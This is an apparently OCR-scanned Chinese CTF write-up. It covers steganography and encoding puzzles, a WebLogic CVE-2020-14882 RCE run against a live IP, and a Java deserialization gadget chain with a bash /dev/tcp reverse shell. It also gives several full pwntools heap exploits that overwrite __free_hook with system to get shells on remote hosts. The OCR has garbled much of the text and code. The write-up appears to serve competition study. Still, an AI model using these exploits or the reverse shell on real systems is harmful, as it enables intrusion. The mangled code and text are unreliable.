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UTF'T Decoder @& Home - Texi

Text Encoding and Decoding

the given file / text using the following encoding method(s)

utf-7
The utf-7 encoder is located here

If you want to use the universal encoder / decoder with more options use our Encoder / Decoder located here

Select your source encoding Select your target encoding

utf-7 ~ wchar

Input File/Text to Encode / Decode

Text File

Paste your text below

flagfdhb_7th}

ﬂag?y:

flag{dhb_7th}
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4 > Kingdemo3

. SVUY Ui Ve 1o

B pico0019.pic 2011/3/31 9:25 PIC 3214

B pic00020.pic 2011/3/31 9:25 PIC 3Zf#

B pico0021.pic 2011/3/31 9:25 PIC 3Z{% 830 KB
| pic00022.pic 2011/3/31 9:25 PIC 3244 3,466 KB
B picoo023.pic 2011/3/31 9:25 PIC 3z 694 KB
B pico0024.pic 2011/3/31 9:26 PIC 3zt 8 KB
B pico0025.pic 2011/3/28 15:09 PIC 3Z{%F 5 KB
B PICMANAG.DAT 2011/3/31 9:25

Personal ]
B problem_bak.zip 2021/10/31 9:11

& PROJECT.INF 1998/6/14 23:52

B project.pro 2011/3/219:25

B ProjManage.dat 2011/3/31 9:24
@8 R1.RTF 9/9 9:5! RTF &0

T8 R2.RTF 00D : RTF &5
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\Date: Sun, 19 Sep 2021 21:28:55 +0800 :

From: "mkllcoxc@yeah.net” <mklloox@yeah.net> ||

To: mklkxxx <mklkxxx@yeah.net>

Subject: =?UTF-8?B?5L2g5p2I5LqGfg==?=

X-Priority: 3

X-Has-Attach: no

X-Mailer: Foxmail 7.2.20.273[cn]

Mime-Version: 1.0

Message-ID: <202109192128112273138@yeah.net>

Content-Type: multipart/related;
boundary="----= 001 NextPart057850482324 =----"

This is a multi-part message in MIME format.

—————— = 001 NextPart057850482324 =----
Content-Type: multipart/alternative;
boundary="----= 002 NextPart832058858335 =----"

—————— = 002 NextPart832058858335 =----
Content-Type: text/plain;

charset="UTF-8"
Content-Transfer-Encoding: base64

71, B1 100% Windows (CRLF)  UTF-8

REE—A =B, H—BiREbase64gmid

6KGO0500F5YyF5paH5YyW77yM5piv6ZqP552A572R57uc56S+5Lgk5rKf6YCa55qE5ake5asSasYe6
546wW55qE5LiA56eN5L175rWB5paH5YyW44CC5LiA5Liq5Lq655qE6KGO500F5YYF5piv5YW26ZgQ
6JeP6LW35p2155gqE55yf50iR77yM5LiA5L1q5Zu95a6255E6KGO500F5YYF6YeM6I0955yL5Yiw
6L+Z5L1q5Zu95a6255qE6KG0500F44CC40CM40CM40CM40CMA40CN40Cs40Cs40CM5pyI5pe25YCZ
77yM6KGO500F5YyF6KGo6L6+55qES5piv5LiN6I096YGT56CO55ES55yf5a6e50025r0V5ZKM50SF
5Y+X77yM6K+t6KiA5ZKM5paH5a2X55qE5bC95aS077yM5bCx5piv6KGo500F5YyF5pa95bGV55qE
56m66Ze044CCDQrooajmgaX1jIXmmK/nvZHnu5zor630qIDnmoTkuIDnp43ov5v1ljibvvIzlroPn
moTkuqfnld/lkozmtYHooYzkuI71lhbbnibnlrprnmoTiglzigIzigIzigIzigIzigI3vu7/igI3i
gI3nll/1rZjnjq/looPigI3mnInlhbPjgIL1lhbbov73msYLphpLnm67jgIHmlrD1pYfjgIHosIDo
sJHNrYnmlYjmnpznmoTnibnngrnvvIziglziglzigIzigIzigI3vu7/igIzigKzkuI71lubTovbvk
urrlvkDmiazkuKrmgKflkozmkI7mgKrnmoTlv4PnkIbnm7jnrKbigIzigIzigIziglzigI3vu7/1i
gIzigKzjgIINCuihqOaDheWMheS5i+alg0S7peiDvelWkn+Wkp+iMg+WbtOWcs0S8o0aSre+8j0KA
JOKAjOKAjOKAjOKAje+7v+KArOKAjeaYr+WboOS4uuWFtuW8peihpeS6huaWh+Wt1l+S6pOalgeea
hOaer+eHpeWSjOaAgeW6puihqOi+vuS4jeWHhuehrueahOW8seeCue+8jOacieaViOWcsOaPkOmr
mOS6huayn+mAmuaViOeOh+0AgumDgOWIhuihgqOaDheWMheWFt+acieabv+S7o+alWh+Wt1+eahOWK
n+iDve+8jOKAjOKAjOKAjOKAjOKAje+7v+KAjeKAjei/mOWPr+S7peikguecgealk+Wtl+aXtumX
[tOKAjOKAjOKAjOKAjOKAje+7v+KAjOKAjOOAgumaj+edgOaZuuibDveali+acuueahOWFgqOmdouaZ
rulWPiulSjOekvuS6pOW610eUq0ior+S7tueahOWkp+mHj+S9v+eUq0+8j0ihqOaDheWMhelW3sue?
j+mrmOmikeeOh+WcsOWHuueOsOWcqOS6uuS7rOeahOe9kee7n0iBiuWkgeWvueivneW9k+S4reOA

ggoK
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ERMROTE FRFEIMAE: https://330k.github.io/misc_tools/unicode_steganography.html
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Unicode Steganography with Zero-Width Characters

This is plain text steganography with zero-width characters of Unicode.
Zero-width characters is inserted within the words.

JavaScript library is below.
http://330k.github.io/misc tools/unicode steganography.is

Text in Text Steganography Sample

Original Text: [ Clear | m(\ength 307) Steganography Text: [ Clear | n(length: 363)
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Hidden Text: | Clear | (length: 7)
T

Download Stego Text as File
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< = C A F==£| web.chacuo.net/charsetquotedprintable/

Eal ;| o5 >3 8% @ Fofa vy &K - RAFIESIE... CSDN () =ZEtRSET 2. .. SRC CNVD#GI

* & 0 *» O

| Hipaz | F EsEe

=E7=BD=91=ET=BB=0C=E8=AF-,
=E5=8C=96=EF=BC=8(=] 3=ET= ’84: =BA=AT=ET=94=0F=E5= 92 8C=E6=B5=81=
:E8=41:8C=E4:B8=8E:E07807B67E17897}397}:074}}94{1794=847E278079C E =80= SC'

FEsmEmeTa
» htmljs¥html
» htmlsaspEhtml
» htmlfphp¥html

» html$&jspéhtml
| ES
C=A0; g
AA:E, 2 F= :E7:90:86: QB
8C=E2=80= LfEZfSOfSDfE‘ BB=BF~£2-80= SC'
=
= = i
/ =E5=09=8C=F6=80=81=E5=B!
1+A [4] =§4=£5=B(=B1=E {=82=B0=EF=3(=¢
—E3-80-82-E9-83-
.%'éj[ -89-E6-0B-BF-E4-BB
OF-E5-33-BD-EF-BC=8C-E2=80-BC-E2=80-50=
T =80=3D=E2=80
T
e
WMo Ad=4 BO-ES=AF-0D=E5-BD=03-F4-B8-AD-F3-80=82¢,/=
‘LE:D div></div><img sre=3D"cid: ,Foxmall 1@e1a633df-2fed-f85c—7270-ca78308acled "=
JU border=3D"0"></body> </htmL>
e
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g T BiRsETAEEEAREA A
Quoted-printablef&5% Ml Quoted-printableZwFd
=
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<html> <head><meta http—equiv="content—type” content="text/html; charset'LTF 87»{stylebody { line-height: 1.5; }body { font size: 14px font fam]l V[lcrosoft ‘xal{e] -
color: rgb(0, 0, 0); line-height: 1.5 Jbody { font-size: 14px: font-family throsof Yaflei UI”; color: r b(o, 0, 0); line—height le>< head><bod
<_§n><dn>?f§@I{L EEEMELTENE S AE—FH T AL 4/‘}\5’1?& R ek z%iﬂﬁ"@frﬁ?ffa ﬁﬂﬂr‘ %fa@%ﬁﬁ@%?ﬁzﬁﬁﬁmi
17 > FREARE, BTAOXFNRKL RERBRLERNZHE. < dn><an>%r§@%m=§%§aﬁ W » Bk HiEkE EENRNES, 5%
BN SRR EEE, v dinRE L eSS T E s, RE ?J%%_ “Fﬁf%f SEFRER
g2, J&Tuwéﬁiﬁﬂﬂ FEEEETIATEE RN ASHNAEER, REECERm: dive< div>iing sre="cid: Fommail. 1Celag33di-2fed-

£85¢-T270-¢a78308ac1cd” border="0"></body></html>
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BB T RjpgB A, I H R&base64 N K HiE

Content-Type: image/jpey;
name="InsertPic (09-19-21-28-53) jpeg"

Content-Transfer-Encoding: base64

Content-ID: < Foxmail.1@e1a633df-2fe4-f85¢c-7270-ca78308ac1c5>

X Etbase64 H¥E R A B IR LK), BIT#bE data:image/jpg;base6s, , RIGENE A B RIXTKE

WHTE: TR > basebdBERESHEETE
EEIEER MEBEY hHESHEE EERE WEBZ 2

FO104T7F, KILE R 45 EFF DO G R—AH £ KK HHE K

TEERFE, BEERLE SR OERE Witvains

R EREEE RS ERfafCiEIR. RGBERE(E basebdE R AR TR

9i/4AAQSKZ IRGABAQAAAQABAAD/2wWBDAAIBAQEBAQIBA
g AgQ g AgUEBAMEBgUGBgYF

BgYGBwkIBgcJBWYGCAsICQOKCgoKngLDASKDAkKCgr/ZwBDAQICAgJCAgUDAWU
KBwYHCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgeKCgokCgoKCgokCgoKCgoKCgoKCgoKCgoKCgr/wAA
RCAHUAfQDAREA
AhEBAXEB/8QAHgAAAACBAQEBAAAAAAAAAAAAAGMEBQYHCAEACQr/XABXEAAB
AgQFAQUGAgYGBQoE
BAcBAgMABAURBgcSITFBCBMiUWEJFDJxgZEVoSNCUrHB4RYkIMSHW8RADYmOCC
hgINDZFcpKisyY1
ZJRERISjGXNOdYSTsv/EABOBAAIDAQEBAQEAAAAAAAAAAAIDAAEEBQYHCAN/XAAX
EQACAgICAgIC -

(N[l [5]§ehiBase64 b

EEER

ik
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Make your secrets invisible in just 3 easy steps |

Step 1: Select a carrier file i‘f | Step1: Specify a carrier file

No carrier file selected | 1jpg Size: 64933 bytes
Step 2: Addiremove file or message Step 2: Enter password /

@Md | Eml

T N [ ]
i o ‘ Ushide (dv?éale click to save)

Size (k)

Step 3: Password

Enter password again

ﬁum

XEERTEFERARD, BEIESET £ oursecretias , FHMES —BROEME P RBEK hurryup



Step 1: Select a carrier file i‘f | Step1: Specify a carrier file
| No carrier file selected | 1jpg Size: 64933 bytes |
Step 2: Addiremove file or message Step 2: Enter password
EM‘ | E.I T I| LA Ll L L]

| Type Name Size (k)

(double click to save)

Size (k)
0

Step 3: Password

Enter password again

S{ Read Message

W St

Text
flag§f 3a5dc36-ad43-d4fa-e 75 ef 79e 20 28ef 3}

le click to save)

Size (k)
0

[

Save as TXT | Close
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JumpJumpTiger

jump.exeT Frida, #FE Fhint

int main(int argc, const char **argv, const char **envp)

int v4[100]; // [rsp+20h] [rbp-60h]
int v5[101]; // [rsp+1Beh] [rbp+136h]
int v6; // [rsp+344h] [rbp+2C4h]

int v7; // [rsp+348h] [rbp+2C8h]

int i; // [rsp+34Ch] [rbp+2CCh]

printf("This is your hint!!!");
v7 = 0;
V6 = 0;
for (i = @; i <= 99; ++1)
{
if (i & 1)
VA[ve++] = i;
else
V5[Vv7++] = i;
}

return 0;

}

REERE, THBELIE.

EHEjump.exeiE, KIKELELbaseb4dmty, EHIEHREL

/19VjB/04RAWAOQKSGkgZoJARAgAAABNASQUEhAEAUQgAABAABAADA /A2 AWABQDAACAAUIDABAAAQBENAswVUYEUBAAAQAF gBAQEU1GEBQWVWRIA
BAwWWCTHBBQwZ8YLsC5w5kaMcE1Q88/SsEuhCEcPAEURVEOTFFhdwUX1iERx8QBaaFaRqEtRBGSCtE7YNG+hIO8dZHIxx8xfIE6xtcbiSI3CvIrey|
1/B/wWe/H9xA7F/Q2NwkBnDbAJQIUJFsBXQ9ccG1BMw74aIBCtArdvel FQBXEKU/HShZ4ee3HChm4xefHYhk4CeAH/hN42eqgHrhT. . . 35 )\ H i F

HEZRAGHSE

file = open("in.txt")
file2 = open("out.txt","r+")
for line in file:
tmp = line
print(tmp)
c = '
for i in range(len(tmp)):
if 1 & 2 ==
#f 1% 2 ==1:
s += tmp[i]
file2.write(s)
print(len(s))

NIl 47 £ 21| 5 baseb4 g iB B =5 & &

/97 /4AAQSkZIRgABAQEAAQABAAD /2wBDAAUDBAQEAWUEBAQFBQUGBWWIBWCHBW8LCWKMEQ8SEhEPERETFhwXEXxQaFRERGCEYGhOdHX8fExciJCIe
JBweHx7/2wBDAQUFBQcGBw4ICA4eFBEUHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh7 /wAARCAQ4B4AAD
AREAAhEBAXEB/8QAHQAAAgIDAQEBAAAAAAAAAAAAAQIAAWQFBgc ICF/EAEUQAQABAWMDAWMDAWMDAWE CDWECAAMRBBINBTFBBiJR. . . JLIUEH i+




7 HIERS, 82T —FKjpgM—3iKkpng, PITKEIAERRKE—HK, RUEMEEKENT, ERMER®

python bwmforpy3.py decode 2.jpg 2.png flag.png

[E5] C:\Windows\System32\cmd.exe
licrosoft Windows [ffz4~ 10. 0. 22000. 258]

(c) Microsoft Corporation. {4 HLF.

\BlindWaterMark-master>python bwmforpy3.py decode 2. jpg 2.png flag. png

C:\Users\YiJiale\Desktop\ T..H}
image<2. jpg> + image(encoded)<2. png> —> watermark<flag. png>

C:\Users\YiJiale\Desktop\ L. H.\BlindWaterMark-master>g

3 %lflag.png, FTIFEIEEE Flflag

E8F - flag.png

flag
flag{72f73bbe-9193-e59a-c593-1b1cb8f76714}




Web
apacheprOxy

ITIFFE, R ILX R Weblogic

WeblogicH —4 cve-2020-14882: 2 iy & AT IR, GitHub LA ILEHexp
EXP#hiit: https:/github.com/zhzyker/exphub/blob/master/weblogic/cve-2020-14882_rce.py

BATET R, BERVIEBE TIHEKEMN T, IR —T ESLKEE St

Burp Suite Professional v2020.9.2 - Temporary Project - licensed to Lela -
Bup FE Mz EXE B0 i)

[Dashboam TTargel T Proxy Ilnlludel T Repeater TSequencer T Decoder TComparer T Extender TProjed options T User options ]

Jlmercepl I HTTP history I WebSockets history I Options ]

&7 Np147.104.100.25:7410 i §

L Bk J | e EEIER 750 | | OpenBrowser |

Raw | Params | Headers | Hex

Q@

Prety WEREE 'n Actions v

GET / HTTE/1.1

Host: 47.104.100.25:7410

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =64) AppleWebKit/537.3EF (KHTML, like Gecko) Chrome/95.0.4638.54 safari/537.36

Accept: text/html,application/xhtml+xml, application/=ml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;qg=0.9

g Cookie: _ jsluid_h=3c7dd£4d3197dddE9eB54dbcalZdeacl?

S Connection: closes

“1 O W

fE 4

T

python 1.py -u "http://47.104.100.25:7410/"



B e SEE #EM SMN KRB0 BER EAW ITREM VeSEe ®/OMW) W)
Code ' BUU | [a1.py

« 1.py
Code
AWD
Bugku_Misc_where is the flag http.client
suU requests
@ 1-py
% [P 2018]easy_tornado.py o

% base64i25 py if _name_ =='_main_'

4% Local +
D:\Cc\PyCharm 2021.1\Code\BUU>python 1.py -u " " -c "ls /"
bin
boot
dev
etc
flag
home
lib
libb4
media
mnt
opt
proc
root
run
shin
srv
sys

= tmp
udl
usr

var

=7000 @ @m B & python Packages % Python i5i& Q=uaEs
PEP 8: W292 no newline at end of file Python3.9 % @

http://47.104.100.25:7410/ cat /flag

B sosE) SED WEY) SR KRB0 BNR) EAY TROD VeSS ®EOW) MEH)
Code ) BUU ) #1.py

;e - e 1-py
Code
AWD
Bugku_Misc_where is the flag http.client
BUU
requests

@ 1-py S

% [iFIFR 2018]easy_tornado.py

% base645 py

if _name__ =="'_main_"
;. Local +

home

lib

libé4

media

mnt

opt

proc

root

run

shin

srv

sys

tmp

uol

= D:\Cc\PyCharm 2021.1\Code\BUU>python 1.py -u " " -c "cat /flag"
flag{da77ef49-5958-40d5-b426-664b8299e576}

E=4
D:\Cc\PyCharm 2021.1\Code\BUU>

=000 O@Em M & python Packages % Python i5i& Q=rds
PEP 8: W292 no newline at end of file Python3.9 % @

FrLAflag v

flag{da77ef49-5958-40d5-b426-664b8299e576}

EzGadget




FrifE i, IndexController.java

ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);

String name = objectInputStream.readUTF();

int year = objectInputStream.readInt();

if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();

gendix B B

0os.writeUTF("gadgets");
o0os.writeInt(2021);

T
ToStringBean.java

public String toString() {
ToStringBean toStringBean = new ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object var3 = null;

try {
var3 = clazz.newInstance();

} catch (InstantiationException var5) {
var5.printStackTrace();

} catch (IllegalAccessException varé) {

var6.printStackTrace();

return "enjoy it.";

AUEEME T FHE, XENEFEK R LoSting, cc5¥IBadAttributeValueExpExceptionffireadobject ¥ 1E 47 1 F
TtoString, ZKREMKEW K, FHSHEAE



public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); }

Returns the string representing the object.

public String toString() { return "BadAttributeValueException: " + val; }

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get( name: "val", wal: null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= vallbj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the seriglized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();



com.ezgame.ctf.tools.ToStringBean;
ezgame.ctf.bean.User;

javax.management.BadAttributeValueExpException;
java.io.IOException;

java.io.InputStream;

java.lang.reflect.Field;

public class exp {
public static void main(String[] args) throws Exception {
InputStream inputStream = evil.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);

ToStringBean sie =new ToStringBean();

Field bytecodes = Reflections.getField(sie.getClass(),"ClassByte");
Reflections.setAccessible(bytecodes);
Reflections.setFieldValue(sie, "ClassByte",bytes);

BadAttributeValueExpException exception = new BadAttributeValueExpException("exp");
Reflections.setFieldValue(exception,"val",sie);
String a=Serialize.serialize(exception);

System.out.print(a);

Runtime.getRuntime().exec("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");

}
catch(){

XE#E—TIf

writeUTF("gadgets");
writeInt(2021);

A R payload T LE BT, 2 Jevps¥a i 2 & 3 fshell




~C
ubuntu@VM-12-12-ubuntu:~$ rcat -1p 1111
Listening on 11111
Connection Recived
s
ezgadget. jar
1s /

alkaid
106.52.14...
22

SSH
ubuntu

flag{cc099970-8b3a-401b-ad85-6792e97bb2b3}]

2.31 JRF pfEedit® , AT DL A

F0x80ffIchunk3Eiftcache J5 #i H #Tsize

ERMEIRES, I EBRES MR unsortedbin

AR J5showt libc J& T 5t IE & Htcache attack % 1 3T freehook ysystem getshell

Expil[ﬂ::

from pwn import*
context.log level = "debug"

#10 = process("./pwn")
io = remote("47.104.143.202","43359")

def menu(choice):
io.sendlineafter(">>",str(choice))

def add(index,size):

menu(1)
io.sendlineafter(">>",str(index))
io.sendlineafter(">>",str(size))

def edit(index,content):

menu(2)
io.sendlineafter(">>",str(index))
io.sendlineafter(">>",content)

def show(index):
menu(3)
io.sendlineafter(">>",str(index))

def delete(index):
menu(4)
io.sendlineafter(">>",str(index))

def look():
global io




for i in range(9,7):
add(i,0x89)

edit(7,b"a"*0x10 + p64(0) + b"\x91")

for i in range(9,7):
delete(i)

delete(8)

for i in range(9,7):
add(i,0x80)

info = u64(io.recvuntil("\x7f")[-6:].1just(8,b"\x00"))
malloc_hook = info - 96 - 0x10

libc = ELF("./1libc-2.31.s0")

libc_base = malloc_hook - libc.sym[" malloc_hook"]
free_hook = libc_base + libc.sym["_ free_hook"]
success("free_hook:"+hex(free_hook))

system = libc_base + libc.sym["system"]

add(11,0x20)

edit(13,p64(0)*3 + p64(0x21) + p64(free_hook))

add(14,0x18)
add(15,0x18)

edit(15,p64(system))
edit(14,"/bin/sh\x00")

delete(14)

io.interactive()




Ubuntu 64 1

PWN  cppt

libc-2.31.50 pwn

lela@ubuntu: ~/SE/PWN/cpp1
H(F) RIEE) TRV BRG) LK) FHH)

"dev\n'
'flag\n'
"Lib\n'
"1ib32\n’
"lib64\n'
"libx32\n'
"pwni\n'
"run.sh\n'

EER 3Nl N K3

'flag{96f7801e4e658271915cf5ab3aa26ee6}\n’
flig[96f7801942658271915<f53h333269&6}

flag{96f7801e4e€658271915cf5ab3aa26ee6}

it EElibc: F 4 LAEE Kchunk, T2

R —>0x420chunk #unsortedbin 4R J& B i B 5k H #2show d Ellibc
getshell : I S fEadd B 1H A Flindexsizew] LAE 0

FRiEE % T free_hook Asystem get shell

ExpﬁD—F:

from pwn import*
context.log level = "debug"

io = remote("47.104.143.202","25997")
#1i0 = process("./pwn")

def (choice):
io.sendlineafter("Select:",str(choice))

def (index,size):

menu(1)
io.sendlineafter("Index:",str(index))
io.sendlineafter(":",str(size))

def (index, content):

menu(2)
io.sendlineafter("Index:",str(index))
io.sendlineafter("BugInfo:",content)

def (index):




menu(3)
io.sendlineafter("Index:",str(index))

def (index):
menu(4)
io.sendlineafter("Index:",str(index))

def ():
global io
gdb.attach(io)

info = u64(io.recvuntil("\x7f")[-6:].1just(8,b"\x00"))
print(hex(info))

libc = ELF("./libc-2.31.s0",checksec = 9)

malloc_hook = info - 96 - ©x10

libc_base = malloc_hook - libc.sym[" malloc_hook" ]

libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["_free_hook"]

edit(2,p64(0)*4 + p64(free_hook))
add(5,0x18)

add(6,0x18)

edit(6,p64(system))
edit(5,b"/bin/sh\xe0")

delete(5)

io.interactive()




Ubuntu 64 1

EXE 04:48®

SF PwWN b

lela@ubuntu: ~/£E

X{HF) HIEE) BBV ERE) LW HHH
'dev\n’'
'flag\n'
"lib\n'
"1ib32\n'
"1ib64\n'
"libx32\n'
'pwn\n'
'run.sh\n'
bin
dev
flag
1ib
1ib3z
1ib64
1ibx32
pwn
run.sh
cat flag
[ ] sent 0x9 bytes:
'cat flag\n'
L 1 Received 6x27 butes:
'flag{7240aca686aa4bc4d7697b2d7b5c7655}\n"
flag{7240aca686aa4bcd4d7697b2d7b5c7655}

see
see
cee

EAMEH B E Ctrl+ G,

ﬂag?\j:
flag{7240aca686aa4bc4d7697b2d7b5c7655}
gcc2

¥R FfERemove B, Huaf.

leak_libc : i@ it uaf &y 5ttt 58 HE b ik

2 JG Mtcache Ifd T &1 48 n) JR A Hhik+0x 104k

F B EISRE, B PAE SRR A T B0X10% H, ¥ H Btsize H0xe1
R J5 Xt 0xe 1 ) chunki# 1T edit4éid double free check

EiZ chunk B 7 X i tcache

FRI— X # Aunsortedbin showf3 Fllibc

& J& 7| Fuaf B #tcache attack?Tfree_hook system get shell.

from pwn import*
context.log level = "debug"

#1i0 = process("./pwn")
io = remote("47.104.143.202","15348")

def (choice):
io.sendlineafter(">>",str(choice))

def (index,size):

menu(1)
io.sendlineafter(">>",str(index))
io.sendlineafter(">>",str(size))

def (index, content):

menu(2)




io.sendlineafter(">>",content)

def (index):
menu(3)
io.sendlineafter(">>",str(index))

def (index):
menu(4)
io.sendlineafter(">>",str(index))

def ():
global io
gdb.attach(io)

io.recvuntil("\n")

chunk_addr = u64(io.recv(6).1ljust(8,b"'\x00"))
print (hex(chunk_addr))

fake_addr = chunk_addr + 0x10

print (hex(fake_addr))

edit(0,p64(fake_addr))

add (5,0x60)
add (6,0x60)
edit(6,b"a"*0x58 + b"\xel")

for i in range(9,7):
edit(2,p64(0)*2)
delete(2)

info = u64(io.recvuntil("\x7f")[-6:].1just(8,b"\x00"))
print(hex(info))

ELF("./1ibc-2.31.s0",checksec = 9)
malloc_hook = info - 96 - 0x10
libc_base = malloc_hook - libc.sym[" malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
system = 1libc_base + libc.sym["system"]




edit(12,p64(system))
add(13,0x18)
edit(13,b"/bin/sh\xe0")
delete(13)
io.interactive()

Ubuntu 64 1

EfHo06: 360

le1a@ubuntu: ~/SE/PWN/gcc
MHF) $RIEE) BBV BRE) LK) FEH)

'dev\n'
'flag\n'
"lib\n'
'lib3z\n'
"lib64\n'
"libx32\n'
'pwn\n’
'run.sh\n'
bin
dev
flag
1ib
1ib32
1ib64
1ibx32
pwn
run.sh
cat flag
[ ] sent @x9 bytes:
'cat flag\n'
[ ] Received 0x27 bytes:
' flag{c9749ef8cbfdcafc56542daeaq489a71c}\n"’
flag{c9749efB8cbfdc4fc56542daead89a7ic}

Do Pom &Gt

flag{c9749ef8cbfdc4fc56542daead89a71c}

boom_script

RBRCHBERA R, EFH—B EAIMESEA T RUNE, XERuaffRRE, Eid7 558 28T CLEAT HER B §E
5 K47k EE Mgetshell

Exp:
from pwn import*

context.log level = "debug"

#1i0 = process("./boom_script")
io = remote("47.104.143.202","41299")

O):
global io
gdb.attach(io)

def (payload):

.recvuntil("$")
.sendline(str(1))
.recvuntil('length:")
.sendline(str(len(payload)))




io.recvuntil( 'code: "
io.send(payload)

def ():
#the code to lLeak main_arena + offset and to fuck the Libc
payload="""
EENEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE

a="bbbbbb";

c=0;

prints(b);

array arr[20];

arr[0]=1193046;

arr[1]=1193046;

b="asdasd";

al="cccccccc";

a2="cccccccc";

a3="cccccccc";

a3="cccccccc";

ad="cccccccc";

a5="ccccccecc”;

a9="cccccccc";
tC="555555555555555555555555555555555555555555555555s";
26="555555555555555555555555555555555555555555555555S " ;
a7="/bin/sh";

a8="/bin/sh";
26="555555555555555555555555555555555555555555555555555555555555555555555S5S55555SS5Ss";
tC="555555555555555555555555555555555555555555555555555555555S5555555555555555555SSs"
prints("dddddd");

inputn(c);

arr[0]=c;

arr[1]=c;
tC1="555555555555555555555555555555555555555555555555S " ;
array arril[1];

prints("dddddd");

inputn(c);

arrl[@]=c;

a7="aaa";

inputn(c);

shell(payload)

libc_base=u64(io.recvuntil ("\x7f")[-6:].1just(8,b'\x00"'))-0x1lebbe0d
libc=ELF('./libc.so.6"',checksec = 9)
success("libc_base"+hex(libc_base))

free_hook=1ibc_base+libc.sym[' free_hook"']




success("free_hook:"+hex(free_hook))

success("system: "+hex(system))

#fuck the free hook to the system
io.sendlineafter("dddddd\n",str(free_hook-0x28))
io.sendlineafter("dddddd\n",str(system))

io.interactive()

' _main__ '

Ubuntu 64 fif

EE & i v EffiH o7:28¢ th & 9 O~

5 ( ®IXfFE KA PWN
[*] switching to interactive mode
1s
[ ] Sent 0x3 bytes:
) '13—\2‘ R AR X boom_ libc.s0.6
ecelve O ytes: script
"bin\n’ =H P
'dev\n' FIEii
'flag.txt\n'
"lib\n" mE
'1ib64\n’ o
'pwn\n’ 3
bin ) N
dev v T
flag. txt BT
1ib
Eltih
cat flag.txt e
] Sent 6xd bytes: Riprs
'cat flag.txt\n'
[ ] Received 0x2b byte:
'flag{35f2d3a9-bddc-9ffe-e8f7-ab999610b196}\n"’
flig{ssfzdsaQ-bddc-foe -ab999010b196}

ﬂag?\J:

flag{35f2d3a9-bddc-9ffe-e8f7-ab9990

Reverse

000

B, MmN T, g



G

Vo = WLL;

9 wo o= 8LL;
@ vie = eLL;

1) wll = @LL;

2l w12 = eLL;

i3 wl3 = @LL;

4| w14 = eLL;

5 wl5 = @LL;

6 w16 = @LL;

7 wl7 = @LL;

8 v1s = eLL;

8 w19 = @aLL;

B v2e = @;

‘1| sub_418DF8("give me a flag: ");
2| sub_41897@(&v3);

3 wE = vD A HIBYTE(vE) » BYTEL(vD);
4 for (1= @; 1 <= 41; ++1 )

5 *(Rv22 + 1 - 112) *= vy

6 if ( sub_4@1DE7(RvE) )

gl 1

8 sub_418C78("okk™);

@ sub_41@338(6LL);

i

i1 sub_418C78("nono, may be.... ");
2| result = @LL;

i3 ws = _ readfsqword(@x28u);

o owvd = yh oM oy2l;

5 if ( ws 1= w2l )

